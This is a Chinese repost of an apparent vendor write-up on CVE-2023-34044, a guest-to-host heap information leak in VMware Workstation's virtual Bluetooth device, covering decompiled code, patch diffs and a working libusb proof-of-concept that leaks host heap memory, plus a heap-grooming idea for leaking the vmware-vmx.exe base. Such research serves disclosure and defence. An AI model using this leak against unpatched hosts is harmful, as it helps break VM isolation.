将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

-dayy
将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第四篇系列文章。在这篇博文中,我们将介绍如何从客户机获取主机上运行的 VMware 进程中的关键信息。

该漏洞是 Theori( @pr0ln) 发现的 CVE-2023–34044,它是 @starlabs_sg 在 Pwn2own 2023 Vancouver 中演示的 CVE-2023–20870 的变体。此漏洞已于 2023 年 10 月修补,自 2023 年 10 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。

请注意,大多数说明都是基于 VMware-workstation-full-17.0.2-21581411.exe 安装文件,并且大多数符号都是通过反转来识别的,因此它们可能不正确。

虚拟蓝牙设备

VMware Workstation 为客户机提供了多种方法来访问连接到主机的设备。如果主机上存在并启用了蓝牙接收器,VMware Workstation 会自动在客户机的虚拟 USB 控制器下添加基于 USB 的虚拟蓝牙设备。

与虚拟蓝牙(VBluetooth)设备功能相关的设置可以在以下 Setting - USB Controller - Share bluetooth device with the virtual machine 位置找到,并且默认情况下处于启用状态。上述设置也可以通过 vmx 在客户机的配置文件中找到。

usb.vbluetooth.startConnected = "TRUE"

如果客户机操作系统是 Linux,则可以使用以下 lsusb 命令找到 VBluetooth。

$ lsusbBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 002 Device 004: ID 0e0f:0008 VMware, Inc. Virtual Bluetooth Adapter // <--- VBluetoothBus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB HubBus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual MouseBus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

如果客户机操作系统是 Windows,则可以使用 pnputil 命令或设备管理器实用程序找到 VBluetooth 设备。

cmd> pnputil /enum-devicesInstance ID:                USBVID_0E0F&PID_000800650268328Device Description:         Generic Bluetooth AdapterClass Name:                 BluetoothClass GUID:                 {e0cbf06c-cd8b-4647-bb8a-263b43f0f974}Manufacturer Name:          GenericAdapterStatus:                     StartedDriver Name:                bth.inf

漏洞 CVE-2023–34044 和 CVE-2023–20869,我们将在下一篇文章中介绍,存在于 Vbluetooth 设备实现中。

分配 VBluetooth 设备的 USB 请求块 (URB)

由于 VBluetooth 设备是作为 USB 类型设备实现和提供的,因此客户机操作系统可以使用 USB 请求块 (URB) 与其通信。URB 分为控制 URB 和批量 URB,前者用于控制设备、读/写设置,后者用于发送/接收数据,具体取决于目的。

控制 URB 具有以下结构。

struct urb_control{  BYTE bmRequestType;     BYTE bRequest;  WORD wValue;  WORD wIndex;  WORD wLength;  char data[]}

是 bmRequestType 和 request_type 之间的 endpoint_direction OR 运算的结果。定义 endpoint_direction URB 是从设备读取还是写入数据, request_type 定义请求类型。例如,如果 bmRequestType 是 ENDPOINT_IN | REQUEST_TYPE_VENDOR ,则此 URB 可以读取供应商专门添加的配置数据值。

enum endpoint_direction {  ENDPOINT_IN  = 0x80,  ENDPOINT_OUT = 0x00,};

定义 bRequest 命令的类型,和 wValue 、 wIndex 和 data 用作命令的参数。

enum request_type {  REQUEST_TYPE_STANDARD =(0x00<<5),  REQUEST_TYPE_CLASS    =(0x01<<5),  REQUEST_TYPE_VENDOR   =(0x02<<5),  REQUEST_TYPE_RESERVED =(0x03<<5),};

当 USB 控制器收到 URB 时,它会调用该 VUsb_NewUrb 函数来创建 vurb 类型对象。该 vurb 对象存储接收到 URB 的数据,并一直保留到在虚拟或物理 USB 设备上处理 URB 为止。由于 vurb 对象的结构可能因 USB 设备的类型而异,因此该 VUsb_NewUrb 函数在内部调用设备的new_urb处理程序来创建对象。确定分配大小的参数 length 由接收的 URB 的总大小 (urb_control(8) + wLength) 决定。

void __fastcall UHCI_UrbHandler(__int64 a1, VUsbPipe *a2){ // sub_1401F6860  // ...  length = nbytes + *(unsigned __int16 *)&urb_data.wlength;  urb = VUsb_NewUrb(v2, 0i64, (unsigned int)length);  urb->bufferLen = length;  //...} vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length)   { // sub_14074EA70  // ...  urb_size = length;  // ...  if ( get_dev_max_urb > 0x9000 )    max_urbsize = get_dev_max_urb;  if ( urb_size > max_urbsize )    Panic("UsbDev: URB greater than the max allowed URB size.n");  _mm_lfence();  new_urb = (vurb *)urbpipe->dev->be->op->NewUrb(urbpipe->dev, num_packets, urb_size);  new_urb->status = -1;  new_urb->packets = new_urb->_packets;  new_urb->curdata = new_urb->data;  new_urb->streamID = 0;  // ...  return new_urb;}

VBluetooth 设备的 URB 对象的分配由函数 VBluetoothHCI_NewUrb 处理。URB 对象存储设备、管道、状态信息以及隔离的 URB 数据的地址。URB 数据被分配为名为 RBuf 的类型缓冲流。

vurb *__fastcall VBluetoothHCI_NewUrb(VUsbDevice_Bluetooth *dev, unsigned int num_pkts, unsigned int urb_size){ // sub_140740EA0  vurbWrapper *wrapper; // rsi  _QWORD *urbdata; // rax   wrapper = (vurbWrapper *)UtilSafeMalloc0(12i64 * num_pkts + 0xA0);// urb wrapper a2=0  wrapper->urb.be = (UrbBackEnd *)&unk_14132C238;  urbdata = VBluetoothHCI_RBufNew(dev->add.hci, urb_size);  wrapper->rbuf = (__int64)urbdata;  wrapper->urb.data = (unsigned __int8 *)RBuf_MutableData((__int64)urbdata);  return &wrapper->urb;}

该 VBluetoothHCI_RBufNew 函数调用该 RBuf_New 函数,并在 RBuf_New 内部调用该 UtilSafeMalloc0 函数以分配大小 a2 + 0x18 为 的缓冲区。该 UtilSafeMalloc0 函数在内部调用该 malloc 函数。需要注意的是,分配的缓冲区的大小由客户机决定,分配的 malloc 缓冲区不会初始化。

RBuf *__fastcall VBluetoothHCI_RBufNew(__int64 a1, unsigned int a2){// sub_14081BF70   return RBuf_New(*(_DWORD **)(a1 + 616), a2);} RBuf *__fastcall RBuf_New(_DWORD *a1, unsigned int a2){// sub_1408195A0  // ...   buf = (RBuf *)UtilSafeMalloc0(a2 + 0x18i64);  buf->refcnt = 0;  *(_QWORD *)&buf->refcnt = (unsigned __int64)(a2 & 0xFFFFFF) << 16;// length  buf->field_8 = 0i64;  buf->qword10 = a1;  // ....  return buf;}

然后,它将从访客接收的 URB 数据复制到分配 RBuf 的 .如果 URB 的方向为 ENDPOINT_IN ,则复制大小为 urb_control(8) ,则会导致大小仍未初始化的缓冲区 wLength 。

void __fastcall sub_1401F6860(__int64 a1, __int64 a2, __int64 a3, __int64 a4){  // ...    v20 = urb->curdata;    if ( v30 == 1 )    {      memcpy(v20, Src, (int)v14); // v14 == urb_control(8)    }    else    {      _mm_lfence();      PhysMemReadSlow(&v29, 0i64, (int)v14, (char *)v20);    }    urb->curdata += (int)v14;    goto LABEL_15;  }  // ...}

提交 VBluetooth 设备的 USB 请求块 (URB)-(CVE-2023–20870)

每个设备都有不同的提交功能,因为它们处理 URB 提交的方式不同。Vbluetooth 设备的 URB 提交由该 VBluetoothHCI_SubmitUrb 函数处理。submit 函数在内部处理 URB 或将其传递给外部设备。

urb->actualLen 初始化为 urb->bufferLen 的值 ,这是一个客户机可控值,然后将此值用作客户机的响应数据大小。在 VMware Workstation 17.0.1 之前,除了 actualLen VUsbDevice_OpSubmitNonReqCtl .结果, actualLen 总是等于 bufferLen 。

__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb){// sub_140740F40   pipe = urb->pipe;  bufferLen = urb->bufferLen;  // ...  urb->status = 0;  urb->actualLen = bufferLen;  endptAddr = pipe->endptAddr;  if ( endptAddr ) {/**/} // Process Non Control URB  if ( (data->bmRequestType & 0x60) == 0x20 )   // REQUEST_TYPE_CLASS   {    sub_140819580(rbuf_1);    rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);    endpoint = 0;LABEL_8:    rbuf = rbuf_slice;    VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);    RBuf_DecRef(rbuf);    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);  }  if ( VUsbDevice_OpSubmitNonReqCtl(urb) )    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);   urb->actualLen = 8; // [1] Patch of CVE-2023-20870    if ( (data->bmRequestType & 0x60) != 0 )    goto LABEL_24;  v15 = data->bRequest;                         //  LIBUSB_REQUEST_TYPE_STANDARD  if ( v15 == 9 )  {    if ( data->wValue <= 1u )    {      change_config((__int64)urb->pipe->dev, data->wValue);      if ( data->wValue )        VBluetoothHCI_Reset(dev_1);      return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);    }    goto LABEL_23;  }  if ( v15 != 11 )  {LABEL_24:                                       // LIBUSB_REQUEST_TYPE_VENDOR     urb->status = 4;    return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);  }  v16 = data->wIndex;  if ( !v16 )  {    if ( data->wValue )      urb->status = 3;    return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);  }  if ( v16 != 1 || data->wValue >= 6u )LABEL_23:    urb->status = 3;  return ((__int64 (__fastcall *)(_QWORD))gUsblibClientCb->vusbCompleteUrb)(urb);}

处理后的 URB 将返回给客户机并由 vusbCompleteUrb 处理程序清理。 vusbCompleteUrb 处理程序在内部调用该 UHCI_UrbResponse 函数,然后调用 PhysMem_CopyToMemory 该函数将大小 actualLen 的 urb 数据复制到客户机的物理内存中。

char __fastcall UHCI_UrbResponse(__int64 a1, vurb *a2) { // sub_1401F77A0   // ....      v11 = ((v10 >> 21) + 1) & 0x7FF;      actualLen = v11;      if ( v11 > urb->actualLen )        actualLen = urb->actualLen;      if ( actualLen )      {        if ( (_BYTE)v10 == 105 )        {          v13 = *((unsigned int *)v8 + 7);          if ( !*((_DWORD *)v8 + 7) || !PhysMem_CopyToMemory((unsigned int)v13, (char *)urb->curdata, actualLen, 0, 6) )          {            Warning("UHCI: Bad %s pointer %#I64xn", "TDBuf", v13);            *(_DWORD *)(a1 + 1640) = 160;          }        }      }

在 VMware Workstation 17.0.2 修补程序中, actualLen 未处理 vurb 的对象 VUsbDevice_OpSubmitNonReqCtl 设置为 8,以防止将未初始化的数据传递给客户机 [1] 。

CVE-2023–34044 的根本原因

有经验的安全研究人员可能对上一部分中提到的 VMware 补丁感到好奇。修复未初始化的堆 bug 的最简单方法是在分配内存后初始化内存,或者使用嵌入式 calloc 函数本身进行初始化。但是,VMware没有这样做,因此该漏洞并未完全修复。

大多数读者已经意识到了这个问题,但是让我们看看当 URB 的请求类型为 REQUEST_TYPE_CLASS 时会发生什么。它通过调用 RBuf_Slice 函数对缓冲区进行切片,并将切片缓冲区作为参数传递给 VBluetoothHCI_PacketOut 函数。请注意,URB 不会作为参数传递,这可确保它不会 actualLen 更改。

__int64 __fastcall VBluetoothHCI_SubmitUrb(vurb *urb){// sub_140740F40   pipe = urb->pipe;  bufferLen = urb->bufferLen;  // ...  urb->status = 0;  urb->actualLen = bufferLen;  endptAddr = pipe->endptAddr;  if ( endptAddr ) {/**/} // Process Non Control URB  if ( (data->bmRequestType & 0x60) == 0x20 )   // REQUEST_TYPE_CLASS   {    sub_140819580(rbuf_1);    rbuf_slice = RBuf_Slice(rbuf_1, 8u, urb->bufferLen - 8);    endpoint = 0;LABEL_8:    rbuf = rbuf_slice;    VBluetoothHCI_PacketOut(dev_1, endpoint, rbuf_slice);    RBuf_DecRef(rbuf);    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);  }  if ( VUsbDevice_OpSubmitNonReqCtl(urb) )    return ((__int64 (__fastcall *)(vurb *))gUsblibClientCb->vusbCompleteUrb)(urb);   urb->actualLen = 8; // Patch of CVE-2023-20870  // ....}

该 VBluetoothHCI_PacketOut 功能将 Control URB 传递给连接到主机的蓝牙设备。由于控件 URB 未指定特定终结点,因此它调用 VBluetoothHCI_PacketOut_Control .该 VBluetoothHCI_PacketOut_Control 函数验证作为参数传递的切片 rbuf,如果结果 rbuf_length - 3 大于 255 ,它会立即返回并发出警告。换言之,如果 的 wlength 大小大于 258 ,则 URB 数据将保持未初始化状态。

void __fastcall VBluetoothHCI_PacketOut(VUsbDevice *dev, int endpoint, _QWORD *rbuf){// sub_14081BDA0  if ( endpoint ) {/**/}  else  {    VBluetoothHCI_PacketOut_Control((int64 *)dev, rbuf);  }} void __fastcall VBluetoothHCI_PacketOut_Control(VUsbDevice *dev, RBuf *rbuf){// sub_14081AFF0   // ....  rbuf_length = RBuf_Length(rbuf);  rbuf_length_1 = rbuf_length;  if ( rbuf_length - 3 > 255 )  {    Warning("Bluetooth-HCI: ERROR, Bad command packet size (%d)n", rbuf_length);    return;  }  // ....p

CVE-2023–34044 修补程序

以下修补程序通过 diffing VMware Workstation 17.0.2 和 VMware Workstation 17.5.0 标识。VMware 仍未消除漏洞的根本原因,而是通过在 URB 方向为 ENDPOINT_IN 且请求类型为 REQUEST_TYPE_CLASS 时将 设置为 8 来修补该 actualLen 漏洞。

__int64 __fastcall VBluetoothHCI_SubmitUrb(VUsbURB *urb)  // sub_1407A22A0 of VMWS 17.5.0{  // ...  VUsbPipe = urb->VUsbPipe;  total_urb_len = urb->total_urb_len;  v4 = urb[-1].field_88;  urb_data = (struct_urb_data *)urb->urb_data;  v6 = *(_QWORD *)(VUsbPipe + 32);  v7 = *(_QWORD *)(v6 + 608);  urb->status = 0;  urb->urb_actualsize = total_urb_len;  endpt = *(_DWORD *)(VUsbPipe + 12);  if ( endpt )  {    // ...   }  if ( (urb_data->bmRequestType & VUSB_REQ_MASK) == REQUEST_TYPE_CLASS)  {+   if(urb_data->bmRequestType < 0 ) // ENDPOINT_IN+     urb->actualLen = 8;     // ...     return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);  }  if ( VUsbDevice_OpSubmitNonReqCtl((__int64)urb) )    return gUsblibClientCb->VUsb_CompleteUrbAndContinue(urb);  urb->urb_actualsize = 8;   if ( (urb_data->bmRequestType & 0x60) != 0 )    goto LABEL_24;  bRequest = urb_data->bRequest;  if ( bRequest == VUSB_REQ_SET_CONFIGURATION )

URB 数据的单元化问题已从 VMware Workstation 17.5.1 和 ESXi 8.0U2sb-23305545 中完全删除。以下补丁通过 diffing VMware Workstation 17.5.0 和 VMware Workstation 17.5.1 来标识。该补丁添加了一个函数调用,用于在控制器中分配 vurb 对象后将数据初始化为 0。

vurb *__fastcall VUsb_NewUrb(VUsbPipe *urbpipe, __int64 num_packets_1, __int64 length) { // sub_1407B00D0 of VWWS 17.5.0  urb = pipe->dev->be->op->NewUrb(pipe->dev, n_pakcet, bufferlen_1);  urb_data = urb->data;  urb->packets = urb->_packets;  urb->curdata = &urb_data->bmRequestType;  urb->status = -1;  urb->streamID = 0;  urb->pipe = pipe;  *&urb->numPackets = 0i64;  urb->allocLen = bufferlen_1;  *&urb->bufferLen = 0i64;  urb->stage = 0;  urb->refCount = 1;  type = pipe->type;  urb->type = type;  urb->endptAddr = pipe->endptAddr;  urb->bePtr = pipe->dev->be;  urb->_anon_0.statusPid = 0;  urb->hcpriv = 0i64;+  if ( !type && urb_data )+    memset(urb_data, 0, bufferlen_1);  urb->pipeLink.next = &urb->pipeLink;

编写EXP

在 POC 中,我们将演示如何从客户机读取未初始化的 URB 数据。

若要将任意 URB 发送到 USB 设备,可以编写自己的筛选器驱动程序或使用库。其中一个库包括一个签名的驱动程序和库, libusb-win32 可以轻松生成 URB 并将其发送到目标设备。

以下代码将类型 USB_TYPE_CLASS | USB_ENDPOINT_IN 为 URB 发送到 VBluetooth 设备,从而触发漏洞并读取主机的未初始化堆内存。由于 URB 数据的分配大小为 urb_control(8) + wLength + 0x18 ,我们需要将 wLength 值 0xfe0 设置为以 0x1000 字节块读取未初始化的数据。请求和其他参数设置为任意值,因为它们与漏洞无关。 usb_control_msg 函数执行成功后, outbuf 将包含主机未初始化的堆数据。

#include <lusb0_usb.h> usb_dev_handle* open_dev(WORD VID, WORD UID){  struct usb_bus* bus;  struct usb_device* dev;    for (bus = usb_get_busses(); bus; bus = bus->next){    for (dev = bus->devices; dev; dev = dev->next){      if (dev->descriptor.idVendor == VID          && dev->descriptor.idProduct == UID){          return usb_open(dev);      }    }  }  return NULL;} void readUnitMemory() {  usb_dev_handle* dev_mouse = NULL;  usb_dev_handle* dev_bt = NULL;  UINT64 vmx_base = 0;  int i, j;    char outbuf[0x1000];  memset(outbuf, 0, 0x1000);    usb_init(); /* initialize the library */  usb_find_busses(); /* find all busses */  usb_find_devices(); /* find all connected devices */    if ((dev_bt = open_dev(0x0E0F, 0x0008)) == NULL){    printf("  [!] Error opening bluetooth device: n%sn", usb_strerror());    return 0;  }    usb_control_msg(    dev_bt,     USB_TYPE_CLASS | USB_ENDPOINT_IN,     USB_REQ_GET_STATUS, 0, 0,     outbuf,     0xFE0, // 0x1000 - 0x18 - 8    1000);    usb_close(dev_bt);}

要利用此 CVE-2023-20869 漏洞,需要知道主机进程的基址。 vmware-vmx.exe 为了在进程中 vmware-vmx.exe 分配任意大小的堆内存,我们使用了 USB 虚拟鼠标设备的 URB 分配功能。

与 VBluetooth 设备的 URB 分配器不同,VUsbMouse 和 VUsbHub 的 URB 分配器不会隔离 URB 数据,而是将其存储在对象中 vurb 。该 vurb 对象包含的数据段地址为 vmware-vmx.exe ,因此如果可以从中计算出 的 vmware-vmx.exe 基址。

vurb *__fastcall VUsb_NewUrbWithBuf(__int64 a1, unsigned int a2, unsigned int legnth){ // sub_1407593C0   __int64 v3; // rbx  vurb *new_urb; // rax    v3 = a2;  new_urb = (vurb *)UtilSafeMalloc0(v3 * 12 + legnth + 152i64);  new_urb->be = (UrbBackEnd *)&qword_14132C3B0; // data section address  new_urb->data = (unsigned __int8 *)&new_urb->_packets[v3];  return new_urb;}

您可以将带有 Manipulated wLength 的 URB 发送到 VUsbMouse 设备,并且在处理后,您可以创建一个释放的任意大小的堆块,其中包含 vmware-vmx.exe 的数据段地址 。如果将 VBluetooth 设备的 URB 重新分配给释放的堆块并读取该漏洞,则可以读取 vmware-vmx.exe 的地址。

结论

这篇文章提供了对 CVE-2023–34044 的分析,该分析在我们的N-day全链演示中被利用。下一篇文章将介绍 VMware Workstation 客户机到主机代码执行 CVE-2023–20869,该代码在 Pwn2Own Vancouver 2023 中被利用。

参考

https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver


Chaining N-days to Compromise All: Part 4 — VMware Workstation Information leakagehttps://blog.theori.io/chaining-n-days-to-compromise-all-part-4-vmware-workstation-information-leakage-44476b05d410



感谢您抽出

将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

.

将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

.

将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

来阅读本文

将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏

版权声明:admin 发表于 2024年6月3日 上午11:46。
转载请注明:将 N-day 漏洞链接以破坏所有问题:第 4 部分 — VMware Workstation 信息泄漏 | CTF导航

相关文章